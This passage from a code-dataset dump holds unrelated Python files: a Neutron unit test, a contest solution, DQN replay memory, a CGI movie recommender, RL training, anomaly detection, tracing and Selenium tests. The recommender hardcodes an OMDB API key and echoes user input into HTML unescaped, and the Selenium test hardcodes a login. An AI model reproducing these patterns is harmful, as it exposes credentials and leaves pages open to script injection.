sdn_const\n\n\nclass MaintenanceThreadTestCase(testlib_api.SqlTestCaseLight):\n def setUp(self):\n super(MaintenanceThreadTestCase, self).setUp()\n self.db_session = neutron_db_api.get_writer_session()\n\n row = sdn_maintenance_db.SdnMaintenance(state=sdn_const.PENDING)\n self.db_session.add(row)\n self.db_session.flush()\n\n self.thread = maintenance.MaintenanceThread()\n self.thread.maintenance_interval = 0.01\n\n def test__execute_op_no_exception(self):\n with mock.patch.object(maintenance, 'LOG') as mock_log:\n operation = mock.MagicMock()\n operation.__name__ = \"test\"\n self.thread._execute_op(operation, self.db_session)\n self.assertTrue(operation.called)\n self.assertTrue(mock_log.info.called)\n self.assertFalse(mock_log.exception.called)\n\n def test__execute_op_with_exception(self):\n with mock.patch.object(maintenance, 'LOG') as mock_log:\n operation = mock.MagicMock(side_effect=Exception())\n operation.__name__ = \"test\"\n self.thread._execute_op(operation, self.db_session)\n self.assertTrue(mock_log.exception.called)\n\n def test_thread_works(self):\n callback_event = threading.Event()\n count = [0]\n\n def callback_op(**kwargs):\n count[0] += 1\n\n # The following should be true on the second call, so we're making\n # sure that the thread runs more than once.\n if count[0] > 1:\n callback_event.set()\n\n self.thread.register_operation(callback_op)\n self.thread.start()\n\n # Make sure the callback event was called and not timed out\n self.assertTrue(callback_event.wait(timeout=5))\n\n def test_thread_continues_after_exception(self):\n exception_event = threading.Event()\n callback_event = threading.Event()\n\n def exception_op(**kwargs):\n if not exception_event.is_set():\n exception_event.set()\n raise Exception()\n\n def callback_op(**kwargs):\n callback_event.set()\n\n for op in [exception_op, callback_op]:\n self.thread.register_operation(op)\n\n self.thread.start()\n\n # Make sure the callback event was called and not timed out\n self.assertTrue(callback_event.wait(timeout=5))\n","sub_path":"networking_mlnx/tests/unit/journal/test_maintenance.py","file_name":"test_maintenance.py","file_ext":"py","file_size_in_byte":3313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"278590605","text":"#read in\nfin = open ('cowsignal.in', 'r')\nfout = open ('cowsignal.out', 'w')\nM,N,K = map(int, fin.readline().split())\n\nsignal = []\nfor i in range(M):\n line = list(fin.readline().strip())\n signal.append(line)\n\nnewSignal = []\nfor i in signal:#[\"X\", \"X\", \"X\", \".\"]\n for j in i:#\"X\"\n newSignal.append(j*K)\n\ncount = 0\nnew_list = [newSignal[i:i+(N)] for i in range(0, len(newSignal), N)]\n\nfor i in new_list:\n for q in range(K):\n i = ''.join(i)\n fout.write (i+\"\\n\")\nfout.close()","sub_path":"src/bronze/cowsignal.py","file_name":"cowsignal.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"155601590","text":"#####################\n## DQN project\n\n## Editted by YoungJun Kim\n\n## original code by \n# https://github.com/jaara/AI-blog/\n# https://github.com/cmusjtuliuyuan/RainBow/\n\n## Simple Experience Replay & Prioritized Experience Replay for mini-batch training\n\n## v1.0 (03/04/2018)\n######################\n\nimport numpy as np\nimport random\nfrom sumtree import SumTree\n\nclass ReplayMemory:\n \"\"\"Store and replay (sample) memories.\"\"\"\n def __init__(self,\n max_size):\n \"\"\"Setup memory.\n You should specify the maximum size o the memory. Once the\n memory fills up oldest values are removed.\n \"\"\"\n self._max_size = max_size\n \n # set default memory\n self._memory = []\n\n\n def append(self, state, action, reward, next_state, done):\n \"\"\"Add a list of samples to the replay memory.\"\"\"\n num_sample = len(state)\n\n # if size exceeds buffer length, overwrite memor\n if len(self._memory) >= self._max_size:\n del(self._memory[0:num_sample])\n\n # add to the buffer\n for s, a, r, n_s, d in zip(state, action, reward, next_state, done):\n self._memory.append((s, a, r, n_s, d))\n\n\n def sample(self, batch_size, indexes=None):\n \"\"\"Return samples from the memory.\n Returns\n --------\n (old_state_list, action_list, reward_list, new_state_list, is_terminal_list, frequency_list)\n \"\"\"\n # sample from random distribution\n samples = random.sample(self._memory, min(batch_size, len(self._memory)))\n\n # zip samples\n zipped = list(zip(*samples))\n \n return zipped\n\n\nclass PriorityExperienceReplay:\n '''\n Almost copy from\n https://github.com/jaara/AI-blog/blob/master/Seaquest-DDQN-PER.py\n '''\n def __init__(self,\n max_size,\n window_size,\n input_shape):\n\n # set default sumtree\n self.tree = SumTree(max_size)\n self._max_size = max_size\n\n # dimension for how to store state and next state \n self._window_size = window_size\n self._WIDTH = input_shape[0]\n self._HEIGHT = input_shape[1]\n\n # hyperparmeters for priority probability\n self.e = 0.01\n self.a = 0.6\n\n def _getPriority(self, error):\n\n # set probability for given experience\n return (error + self.e) ** self.a\n\n def append(self, state, action, reward, next_state, done):\n \n # add experience to tree with probability computed\n for s, a, r, n_s, d in zip(state, action, reward, next_state, done):\n \n # when first appended, set maximum priority\n # 0.5 is the maximum error\n p = self._getPriority(0.5)\n \n self.tree.add(p, data=(s, a, r, n_s, d))\n\n def sample(self, batch_size, indexes=None):\n\n # set batch for data, index and priority\n data_batch = []\n idx_batch = []\n p_batch = []\n\n # split the tree into batch size\n segment = self.tree.total_and_count()[0] / batch_size\n\n # search for high priority\n # divide into multiple section in tree to search for diverse, yet high priority sampels\n for i in range(batch_size):\n a = segment * i\n b = segment * (i + 1)\n\n s = random.uniform(a, b)\n (idx, p, data) = self.tree.get(s)\n data_batch.append(data)\n idx_batch.append(idx)\n p_batch.append(p)\n\n zipped = list(zip(*data_batch))\n zipped[0] = np.reshape(zipped[0], (-1, self._WIDTH, self._HEIGHT, self._window_size))\n zipped[3] = np.reshape(zipped[3], (-1, self._WIDTH, self._HEIGHT, self._window_size))\n\n sum_p, count = self.tree.total_and_count()\n return zipped, idx_batch, p_batch, sum_p, count\n\n def update(self, idx_list, error_list):\n\n # update priority according to td error from current network\n # repeat after every training step\n for idx, error in zip(idx_list, error_list):\n p = self._getPriority(error)\n self.tree.update(idx, p)\n\nif __name__ == \"__main__\":\n memory = PriorityExperienceReplay(max_size=4, window_size=4, input_shape=[1,1])\n state = [[1, 2, 3, 4], [3, 2, 1, 5], [3, 4, 3, 4], [2, 3, 1, 4]]\n action = [1, 2, 3, 4]\n reward = [1, -2, -1, 2]\n next_state = [[1, 2, 4, 3], [3, 2, 5, 1], [3, 4, 4, 3], [2, 3, 4, 1]]\n done = [0, 0, 0, 1]\n memory.append(state, action, reward, next_state, done)\n batch, idx_list, p_batch, _, _ = memory.sample(2)\n memory.update(idx_list, [0.1, 0.2])\n batch, idx_list, p_batch, _, _ = memory.sample(2)\n print(batch, idx_list, p_batch)\n #print(np.array(memory.sample(2)[1]).shape)\n #print(memory.sample(2)[0][0].shape)\n #print(memory.sample(2)[1][0])\n #print(memory.sample(2)[2][0])\n #print(memory.sample(2)[3][0])\n\n","sub_path":"policy_gradients/vanilla_pg/experience_replay.py","file_name":"experience_replay.py","file_ext":"py","file_size_in_byte":4897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"59088266","text":"#!/usr/bin/python3.6\n\nimport cgi\nimport cgitb\ncgitb.enable()\n\nimport pandas as pd\nfrom rake_nltk import Rake\nimport omdb\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom sklearn.feature_extraction.text import CountVectorizer\n\nomdb.set_default('apikey', 'ebfc35ed')\n\n\n\ndef getSimMatrix(title):\n movie = omdb.get(title=title)\n if movie:\n\n #set index to be title\n movieDF = pd.DataFrame()\n fullTitle = movie['title']\n movieDF = movieDF.append({'Title': movie['title'],\n 'Genre' : movie['genre'],\n 'Director' : movie['director'],\n 'Actors' : movie['actors'],\n 'Plot' : movie['plot']}, ignore_index=True)\n\n df = pd.read_csv(\"https://query.data.world/s/uikepcpffyo2nhig52xxeevdialfl7\")\n df = df[['Title','Genre','Director','Actors','Plot']]\n df = df.append(movieDF, sort=False)\n df.set_index('Title', inplace=True)\n\n\n df['Key_words'] = \"\"\n\n for index,row in df.iterrows():\n plot = row['Plot'].lower()\n\n r = Rake()\n #extract keywords form plot\n r.extract_keywords_from_text(plot);\n\n #add list of keywords as column\n keyWords = list(r.get_ranked_phrases())\n for word in keyWords:\n word.replace(\" \", \"\")\n word.lower()\n row['Key_words'] = \" \".join(keyWords)\n\n\n row['Director'] = row['Director'].lower().replace(\" \", \"\").replace(\",\", \" \")\n row['Actors'] = row['Actors'].lower().replace(\" \", \"\").replace(\",\", \" \")\n row['Genre'] = row['Genre'].lower().replace(\",\", \"\")\n\n #drop plot column\n df.drop(['Plot'], axis=1)\n\n #bag of words, words from all columns\n df['bagOfWords'] = df['Genre'] + \" \" + df['Director'] + \" \" +\\\n df['Actors'] + \" \" + df['Key_words']\n\n #drop all columns but bagOfWords\n df.drop(df.columns[:-1], axis=1, inplace=True)\n\n count = CountVectorizer()\n count_matrix = count.fit_transform(df['bagOfWords'])\n\n similarity = cosine_similarity(count_matrix, count_matrix)\n\n\n #index to movie title\n return pd.Series(df.index), similarity, fullTitle\n else:\n return None, None, \"Could not find movie\"\n\n\ndef recommend(title):\n indices, similarity, fullTitle = getSimMatrix(title)\n print(\"Content-type:text/html\\n\\n\")\n print(\"\")\n print(\"\")\n print(\"Recommendations\")\n print(\"\")\n print(\"\")\n if similarity is not None:\n indx = indices[indices == fullTitle].index[0]\n scores = pd.Series(similarity[indx]).sort_values(ascending = False)\n for i in range(8):\n print('

' + indices[scores.index[i+1]] + '

')\n\n else:\n print('

' + title + \" not found go back to enter another movie

\")\n print(\"\")\n print(\"\")\n\n\n#get title from submit box\nform = cgi.FieldStorage()\ntitle = form.getvalue('searchbox')\nrecommend(title)\n\n\n\n","sub_path":"cgi-bin/importMovies.py","file_name":"importMovies.py","file_ext":"py","file_size_in_byte":3091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"299722012","text":"import os\nimport streamlit as st\nimport numpy as np\nimport pandas as pd\nimport time\n\ndef expensive_computation(model_selected, weeks_selceted):\n st.warning('Intensive computation')\n time.sleep(5)\n return [model_selected, weeks_selceted]\n\n\nif __name__ == \"__main__\":\n\n model_options = ['model_A', 'model_B', 'model_C']\n weeks_options = list(range(1, 11))\n sku_options = ['1212','132132','3223', '78498', '77392']\n\n\n model_selected = st.sidebar.selectbox(label='Select model', options=model_options, index=0)\n weeks_selected = st.sidebar.selectbox(label='Select weeks to inspect', options=['all'] + weeks_options, index=0)\n\n st.header('Main page')\n\n computation_result = expensive_computation(model_selected, weeks_selected)\n\n st.write(computation_result)\n\n\n skus_selected = st.selectbox(label='Select skus', options=sku_options)\n \n\n computation_result = expensive_computation(model_selected, weeks_selected)\n\n st.write(skus_selected)\n st.write(computation_result)","sub_path":"Streamlit Apps for ML/Preserving state/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"117525472","text":"import os\nimport numpy\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\n\nimport xworld_learning_args\nimport xworld_navi_easy_goal\nfrom learning.reinforce import Reinforce\nfrom learning.actor_critic import ActorCritic\nimport logging\nlogging.basicConfig(format='[%(levelname)s %(asctime)s %(filename)s:%(lineno)s] %(message)s',\n level=logging.INFO)\n\n\nclass Network(nn.Module):\n def __init__(self, height, width, channel, hidden_size, num_actions):\n super(Network, self).__init__()\n self.conv1 = nn.Conv2d(channel, hidden_size, kernel_size=3, stride=1, padding=1)\n self.bn1 = nn.BatchNorm2d(hidden_size)\n self.conv2 = nn.Conv2d(hidden_size, 2, kernel_size=3, stride=1, padding=1)\n self.attention = nn.Softmax2d()\n self.affine1 = nn.Linear(height * width * 2, hidden_size)\n self.affine2 = nn.Linear(hidden_size, num_actions)\n\n def forward(self, x):\n x = F.relu(self.conv1(x))\n x = self.attention(self.conv2(x))\n x = F.relu(self.affine1(x.view(x.size(0), -1)))\n action_scores = self.affine2(x)\n return F.softmax(action_scores)\n\n\ndef main():\n args = xworld_learning_args.parser().parse_args()\n args.map_config = 'empty_ground.json'\n args.learning_rate = 0.001\n logging.info(args)\n xworld = xworld_navi_easy_goal.XWorldNaviEasyGoal(args)\n xworld.seed(args.seed)\n torch.manual_seed(args.seed)\n\n xworld.reset()\n (height, width, channel) = xworld.state.onehot_state.shape\n num_hidden = 128\n num_actions = xworld.agent.num_actions\n model = Network(height, width, channel, 128, num_actions)\n\n if args.opt_method == 'adam':\n optimizer = optim.Adam(model.parameters(), lr=args.learning_rate)\n elif args.opt_method == 'sgd':\n optimizer = optim.SGD(model.parameters(), lr=args.learning_rate)\n elif args.opt_method == 'rmsprop':\n optimizer = optim.RMSprop(model.parameters(), lr=args.learning_rate)\n\n if args.method == 'reinforce':\n reinforce_model = Reinforce(args.gamma, model, optimizer)\n elif args.method == 'actor_critic':\n reinforce_model = ActorCritic(args.gamma, model, optimizer)\n elif args.method == 'q_learn':\n reinforce_model = QLearn(args.gamma, model, optimizer)\n\n if args.train:\n logging.info('training')\n\n cumulative_rewards = []\n for i_episode in range(args.num_games):\n state, teacher = xworld.reset()\n cumulative_reward = []\n discount = 1.0\n for t in range(args.max_episode_length): # Don't infinite loop while learning\n state_input = state.onehot_state.swapaxes(0,2).swapaxes(1,2)\n action = reinforce_model.select_action(state_input)\n next_state, teacher, done = xworld.step(action[0, 0])\n reward = teacher.reward\n reinforce_model.rewards.append(reward)\n cumulative_reward.append(reward * discount)\n discount *= args.gamma\n if done:\n break\n cumulative_rewards.append(numpy.sum(numpy.asarray(cumulative_reward)))\n reinforce_model.optimize()\n if i_episode % args.log_interval == 0:\n logging.info('Episode {}\\taverage cumulative reward: {:.2f}'.format(\n i_episode, numpy.mean(numpy.asarray(cumulative_rewards))))\n cumulative_rewards = []\n if i_episode % args.save_interval == 0:\n model_name = '%.5d' % (i_episode) + '.pth'\n logging.info('Episode {}\\tsaving model: {}'.format(\n i_episode, model_name))\n with open(os.path.join(args.save_dir, model_name), 'wb') as handle:\n torch.save(model.state_dict(), handle)\n\n with open(os.path.join(args.save_dir, 'final.pth'), 'wb') as handle:\n torch.save(model.state_dict(), handle)\n else:\n logging.info('testing')\n model.load_state_dict(torch.load(args.init_model))\n\n cumulative_rewards = []\n for i_episode in range(args.num_games):\n state, teacher = xworld.reset()\n cumulative_reward = []\n discount = 1.0\n for t in range(args.max_episode_length): # Don't infinite loop while learning\n state_input = state.onehot_state.swapaxes(0,2).swapaxes(1,2)\n action = reinforce_model.select_action(state_input)\n next_state, teacher, done = xworld.step(action[0, 0])\n reward = teacher.reward\n reinforce_model.rewards.append(reward)\n cumulative_reward.append(reward * discount)\n discount *= args.gamma\n if done:\n break\n cumulative_rewards.append(numpy.sum(numpy.asarray(cumulative_reward)))\n if i_episode % args.log_interval == 0:\n logging.info('Episode {}\\taverage cumulative reward: {:.2f}'.format(\n i_episode, numpy.mean(numpy.asarray(cumulative_rewards))))\n cumulative_rewards = []\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"experiment/nav_easy_goal/exp002/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"279887280","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Sep 23 11:28:13 2017\r\n\r\n@author: Mark\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom sklearn.ensemble import IsolationForest\r\n\r\ndef read_csv(filepath):\r\n df = pd.read_csv(filepath, parse_dates=True, index_col='DateTime')\r\n print(df.shape)\r\n df = df.drop_duplicates()\r\n print(df.shape)\r\n# df.fillna(0, inplace=True)\r\n print(df.mean())\r\n df.fillna(df.mean(), inplace=True)\r\n df.sort_index()\r\n return df\r\n\r\n\r\n# MRG Files selected columns to be dropped for clustering\r\n# 'TURB OVER TEMP', 'TURN GR ENGAGED', 'TURN GR DISENGD',\\\r\nmrg_drop_columns = ['indicator', 'PORT MRG LO SUPPLY T HI',\r\n 'PORT MRG LO SUPPLY T LW',\t'PORT TBRG OIL PRES LW',\r\n \t'STBD MRG LO SUPPLY T HI',\t'STBD MRG LO SUPPLY T LW',\t'STBD TBRG OIL PRES LW']\r\n\r\n# data = read_csv(\"D:\\HackTheMachine\\hackthemachine-data\\gas\\classB_ship2_allMRG_sorted_rmDUPs.csv\")\r\n\r\ndata = read_csv(\"D:\\HackTheMachine\\hackthemachine-data\\gas\\classB_ship2_allMRG_sorted_rmDUPs - non-binaries.csv\")\r\n#print data.head()\r\n\r\nunique_indicators = data.indicator.unique()\r\n#print unique_indicators\r\n# create a data frame dictionary to store your data frames\r\ndf_dict = {elem : pd.DataFrame for elem in unique_indicators}\r\npredict_dict = {elem : pd.DataFrame for elem in unique_indicators}\r\n\r\nfor key in df_dict.keys():\r\n df_dict[key] = data[:][data.indicator == key]\r\n #df_dict[key] = df_dict[key].drop(gtg_drop, axis=1)\r\n X = df_dict[key].drop(mrg_drop_columns, axis=1)\r\n # change the contamination percentage to have more or less outliers\r\n clf = IsolationForest(contamination=0.1)\r\n clf.fit(X)\r\n predict_dict[key] = clf.predict(X)\r\n df = df_dict[key]\r\n # this is the output field to tell if it's an outlier\r\n df['normal'] = predict_dict[key]\r\n #print df.head()\r\n ax = df.plot(kind='line',logy=True, title='classB_ship2_meanfilled_nonbinary' + key).legend(loc='center left', bbox_to_anchor=(1, 0.5))\r\n fig = ax.get_figure()\r\n fig.savefig('classB_ship2_nonbinary_' + key + '.png')\r\n df.to_csv('classB_ship2_nonbinary_' + key + '.csv', sep=',')","sub_path":"process_ship2MRG.py","file_name":"process_ship2MRG.py","file_ext":"py","file_size_in_byte":2143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"519499892","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom contextlib import contextmanager\nfrom contextvars import ContextVar\nfrom functools import partial\n\n\nspan_context_var = ContextVar('span context', default=None)\n\n\ndef initialize_tracer(service_name):\n # pylint: disable=E0401\n from jaeger_client.config import Config\n from opentracing.scope_managers.asyncio import AsyncioScopeManager\n\n # pylint: enable=E0401\n\n config = Config(\n config={'sampler': {'type': 'const', 'param': 1}},\n service_name=service_name,\n validate=True,\n scope_manager=AsyncioScopeManager(),\n )\n\n return config.initialize_tracer()\n\n\n@contextmanager\ndef trace(\n server_url=None, # @UnusedVariable\n request_headers=None,\n async_transport=False, # @UnusedVariable\n sample_rate=1.0, # @UnusedVariable\n standalone=False, # @UnusedVariable\n is_root=False, # @UnusedVariable\n service_name=\"some service\",\n span_name=\"service procedure\",\n port=0, # @UnusedVariable\n):\n \"\"\"\n Opentracing tracer function\n \"\"\"\n del server_url, async_transport, sample_rate, standalone, is_root, port\n\n # pylint: disable=E0401\n import opentracing\n from opentracing import Format\n\n # pylint: enable=E0401\n\n tracer = initialize_tracer(service_name) or opentracing.global_tracer() or None\n if tracer is None:\n yield\n return\n\n span_context = None\n span_context_saved = span_context_var.get()\n\n if request_headers is not None:\n span_context = tracer.extract(Format.HTTP_HEADERS, request_headers)\n\n if span_context is None:\n span_context = span_context_saved or None\n\n with tracer.start_active_span(\n operation_name=span_name, child_of=span_context\n ) as scope:\n token = span_context_var.set(scope.span.context)\n yield scope\n span_context_var.reset(token)\n\n\nasync_trace = partial(trace, async_transport=True)\n","sub_path":"bentoml/tracing/opentrace.py","file_name":"opentrace.py","file_ext":"py","file_size_in_byte":1927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"560760466","text":"\nfrom time import sleep, strftime\nfrom concurrent import futures\nimport os\n\ndef display(*args):\n print(strftime('[%H:%M:%S]'), end=' ')\n print(*args)\n\n\ndef loiter(n):\n msg = '{}loiter({}): doing nothing for {}s...'\n display(msg.format('\\t'*n, n, n))\n sleep(n)\n msg = '{}loiter({}): done.'\n display(msg.format('\\t'*n, n))\n return n * 10\n\n\ndef main():\n\n display('Script starting.')\n\n executor = futures.ThreadPoolExecutor(max_workers=4)\n results = executor.map(loiter, range(20))\n display('results:', results)\n\n display('Waiting for individual results:')\n for i, result in enumerate(results):\n display('result {}: {}'.format(i, result))\n\n\nif __name__ == '__main__':\n main()\n\n\n'''\n/usr/local/bin/python3.7 /Users/terrychon/Desktop/program_repo/py/practice/concurrency/demo_executor_map.py\n[17:10:00] Script starting.\n[17:10:00] loiter(0): doing nothing for 0s...\n[17:10:00] loiter(0): done.\n[17:10:00] \tloiter(1): doing nothing for 1s...\n[17:10:00] \t\tloiter(2): doing nothing for 2s...\n[17:10:00] \t\t\tloiter(3): doing nothing for 3s...\n[17:10:00] results: .result_iterator at 0x104357a98>\n[17:10:00] Waiting for individual results:[17:10:00]\n[17:10:00] result 0: 0\n \t\t\t\tloiter(4): doing nothing for 4s...\n[17:10:01] \tloiter(1): done.\n[17:10:01] \t\t\t\t\tloiter(5): doing nothing for 5s...\n[17:10:01] result 1: 10\n[17:10:02] \t\tloiter(2): done.\n[17:10:02] \t\t\t\t\t\tloiter(6): doing nothing for 6s...\n[17:10:02] result 2: 20\n[17:10:03] \t\t\tloiter(3): done.\n[17:10:03] \t\t\t\t\t\t\tloiter(7): doing nothing for 7s...\n[17:10:03] result 3: 30\n[17:10:04] \t\t\t\tloiter(4): done.\n[17:10:04] \t\t\t\t\t\t\t\tloiter(8): doing nothing for 8s...\n[17:10:04] result 4: 40\n[17:10:06] \t\t\t\t\tloiter(5): done.\n[17:10:06][17:10:06] result 5: 50\n \t\t\t\t\t\t\t\t\tloiter(9): doing nothing for 9s...\n[17:10:08] \t\t\t\t\t\tloiter(6): done.\n[17:10:08] \t\t\t\t\t\t\t\t\t\tloiter(10): doing nothing for 10s...\n[17:10:08] result 6: 60\n[17:10:10] \t\t\t\t\t\t\tloiter(7): done.\n[17:10:10] \t\t\t\t\t\t\t\t\t\t\tloiter(11): doing nothing for 11s...\n[17:10:10] result 7: 70\n[17:10:12] \t\t\t\t\t\t\t\tloiter(8): done.\n[17:10:12] \t\t\t\t\t\t\t\t\t\t\t\tloiter(12): doing nothing for 12s...\n[17:10:12] result 8: 80\n[17:10:15] \t\t\t\t\t\t\t\t\tloiter(9): done.\n[17:10:15] \t\t\t\t\t\t\t\t\t\t\t\t\tloiter(13): doing nothing for 13s...[17:10:15] result 9: 90\n\n[17:10:18] \t\t\t\t\t\t\t\t\t\tloiter(10): done.\n[17:10:18] \t\t\t\t\t\t\t\t\t\t\t\t\t\tloiter(14): doing nothing for 14s...\n[17:10:18] result 10: 100\n[17:10:21] \t\t\t\t\t\t\t\t\t\t\tloiter(11): done.\n[17:10:21] \t\t\t\t\t\t\t\t\t\t\t\t\t\t\tloiter(15): doing nothing for 15s...\n[17:10:21] result 11: 110\n[17:10:24] \t\t\t\t\t\t\t\t\t\t\t\tloiter(12): done.\n[17:10:24] [17:10:24] result 12: 120\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tloiter(16): doing nothing for 16s...\n[17:10:28] \t\t\t\t\t\t\t\t\t\t\t\t\tloiter(13): done.\n[17:10:28] \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tloiter(17): doing nothing for 17s...\n[17:10:28] result 13: 130\n[17:10:32] \t\t\t\t\t\t\t\t\t\t\t\t\t\tloiter(14): done.\n[17:10:32][17:10:32] result 14: 140\n \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tloiter(18): doing nothing for 18s...\n[17:10:36] \t\t\t\t\t\t\t\t\t\t\t\t\t\t\tloiter(15): done.\n[17:10:36] [17:10:36] result 15: 150\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tloiter(19): doing nothing for 19s...\n[17:10:40] \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tloiter(16): done.\n[17:10:40] result 16: 160\n[17:10:45] \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tloiter(17): done.\n[17:10:45] result 17: 170\n[17:10:50] \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tloiter(18): done.\n[17:10:50] result 18: 180\n[17:10:55] \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tloiter(19): done.\n[17:10:55] result 19: 190\n\nProcess finished with exit code 0\n'''\n\n'''\nThe Executor.map function is easy to use but it has a feature that may or may not be helpful, \ndepending on your needs: it returns the results exactly in the same order as the calls are started: \nif the first call takes 10s to produce a result, and the others take 1s each, your code will block for \n10s as it tries to retrieve the first result of the generator returned by map. After that, you’ll get \nthe remaining results without blocking because they will be done. That’s OK when you must have all the \nresults before proceeding, but often it’s preferable to get the results as they are ready, regardless \nof the order they were submitted. To do that, you need a combination of the Executor.submit method \nand the futures.as_completed function\n'''","sub_path":"py/practice/fluent/concurrency/demo_executor_map.py","file_name":"demo_executor_map.py","file_ext":"py","file_size_in_byte":4191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"161726744","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom astropy.io import ascii\nimport astropy.coordinates as coord\nimport astropy.units as u\nimport ephem\n\ndef make_exp_map(data_file='decam_exposures_i_min30sec_Sep2016.csv',\n title='DECam i-band sky coverage as of September 2016',\n color=plt.cm.Blues,\n out_file='test.pdf',\n ra_in_degrees=True,\n width_of_mw_band=10.):\n\n data = ascii.read(data_file,header_start=0)\n ra = coord.Angle(data['ra'].filled(np.nan)*u.degree)\n ra = ra.wrap_at(180*u.degree)\n dec = coord.Angle(data['dec'].filled(np.nan)*u.degree)\n exptime = data['exptime'].filled(np.nan)\n\n fig = plt.figure(figsize=(8,6))\n ax = fig.add_subplot(111, projection=\"mollweide\")\n npix_ra=360/6 \n hb=ax.hexbin(ra.radian, dec.radian, C=exptime, gridsize=npix_ra, bins='log',\n reduce_C_function=np.sum,cmap=color)\n cb=fig.colorbar(hb,orientation='horizontal',cax=fig.add_axes([0.2, 0.17, 0.6, 0.03]))\n cb.set_label('total exposure [log (exptime/sec)]')\n ax.set_title(title+'\\n')\n ax.set_xlabel('RA')\n ax.set_ylabel('DEC')\n if not ra_in_degrees:\n ax.set_xticklabels(['14h','16h','18h','20h','22h','0h','2h','4h','6h','8h','10h'])\n ax.grid(True)\n\n ra_MW, dec_MW = the_galaxy_in_equatorial_coords(width_of_mw_band)\n for i in range(len(ra_MW)):\n ra = coord.Angle(ra_MW[i]*u.degree)\n ra = ra.wrap_at(180*u.degree) \n dec = coord.Angle(dec_MW[i]*u.degree)\n slices = unlink_wrap(ra.radian)\n for slc in slices:\n ax.plot(ra.radian[slc],dec.radian[slc],'b',lw=2) \n\n# ra_fields_hours={'F1': 10, 'F2': 16, 'F3': 22}\n# ra_fields_degrees={'F1': 150, 'F2': -120, 'F3': -30}\n# dec_fields_degrees={'F1': -15, 'F2': -15, 'F3': -15}\n ra_fields = np.array([150.,-120.,-30.])\n dec_fields = np.array([-15.,-15.,-15.])\n ra = coord.Angle(ra_fields*u.degree)\n ra = ra.wrap_at(180*u.degree)\n dec = coord.Angle(dec_fields*u.degree)\n ax.scatter(ra.radian,dec.radian,s=100,color='red',marker='D')\n\n fig.savefig(out_file)\n\n\ndef the_galaxy_in_equatorial_coords(width=0.):\n lon_array = np.arange(0,360)\n ra, dec = [] , []\n lat_list = [ -0.5*width, 0. , 0.5*width]\n for lat in lat_list:\n eq_array = np.zeros((360,2))\n for lon in lon_array:\n ga = ephem.Galactic(np.radians(lon), np.radians(lat))\n eq = ephem.Equatorial(ga)\n eq_array[lon] = np.degrees(eq.get())\n ra.append(eq_array[:,0])\n dec.append(eq_array[:,1])\n return ra,dec\n\ndef unlink_wrap(dat, lims=[-np.pi, np.pi], thresh = 0.95):\n \"\"\"\n Iterate over contiguous regions of `dat` (i.e. where it does not\n jump from near one limit to the other).\n\n This function returns an iterator object that yields slice\n objects, which index the contiguous portions of `dat`.\n\n This function implicitly assumes that all points in `dat` fall\n within `lims`.\n\n \"\"\" \n jump = np.nonzero(np.abs(np.diff(dat)) > ((lims[1] - lims[0]) * thresh))[0]\n lasti = 0\n for ind in jump:\n yield slice(lasti, ind + 1)\n lasti = ind + 1\n yield slice(lasti, len(dat))\n\n\n\n\nfilters=['g','r','i','z','VR']\n\ncolormaps={'g': plt.cm.Greens,\n 'r': plt.cm.Oranges,\n 'i': plt.cm.Purples,\n 'z': plt.cm.Greys,\n 'VR': plt.cm.Blues}\n\n\n\nfor b in filters:\n make_exp_map(data_file='decam_exposures_'+b+'_min30sec_Sep2016.csv',\n title='DECam '+b+'-band sky coverage as of September 2016',\n color=colormaps[b],\n out_file='map_'+b+'_h.pdf',\n ra_in_degrees=False,\n width_of_mw_band=20.)\n\n\n\n","sub_path":"exp_map_1.py","file_name":"exp_map_1.py","file_ext":"py","file_size_in_byte":3756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"39487387","text":"from pageobject.forumHomePage import ForumHomePage\nfrom testsuit.basecase import BaseTestCase\nfrom framework.logger import Logger\nimport unittest\nimport time\nlogger=Logger(logger=\"DiscuzSearch\").getLog()\nclass DiscuzSearch(BaseTestCase):\n def test_ds(self):\n homePage=ForumHomePage(self.driver)\n homePage.login(\"rebecca\",\"123456\")\n homePage.searchPost(\"haotest\")\n self.driver.refresh()\n\n time.sleep(5)\n try:\n assert \"haotest\" in self.driver.title\n print(\"所找到内容与期望值相等\")\n except Exception as e:\n print(\"未成功,找到内容与期望标题并不符合\",e)\n self.driver.close()\n time.sleep(5)\n self.driver.switch_to.window(self.driver.window_handles[0])\n time.sleep(4)\n homePage.logout()\n\n\n\n\n\n\n\n\nif __name__==\"__main__\":\n 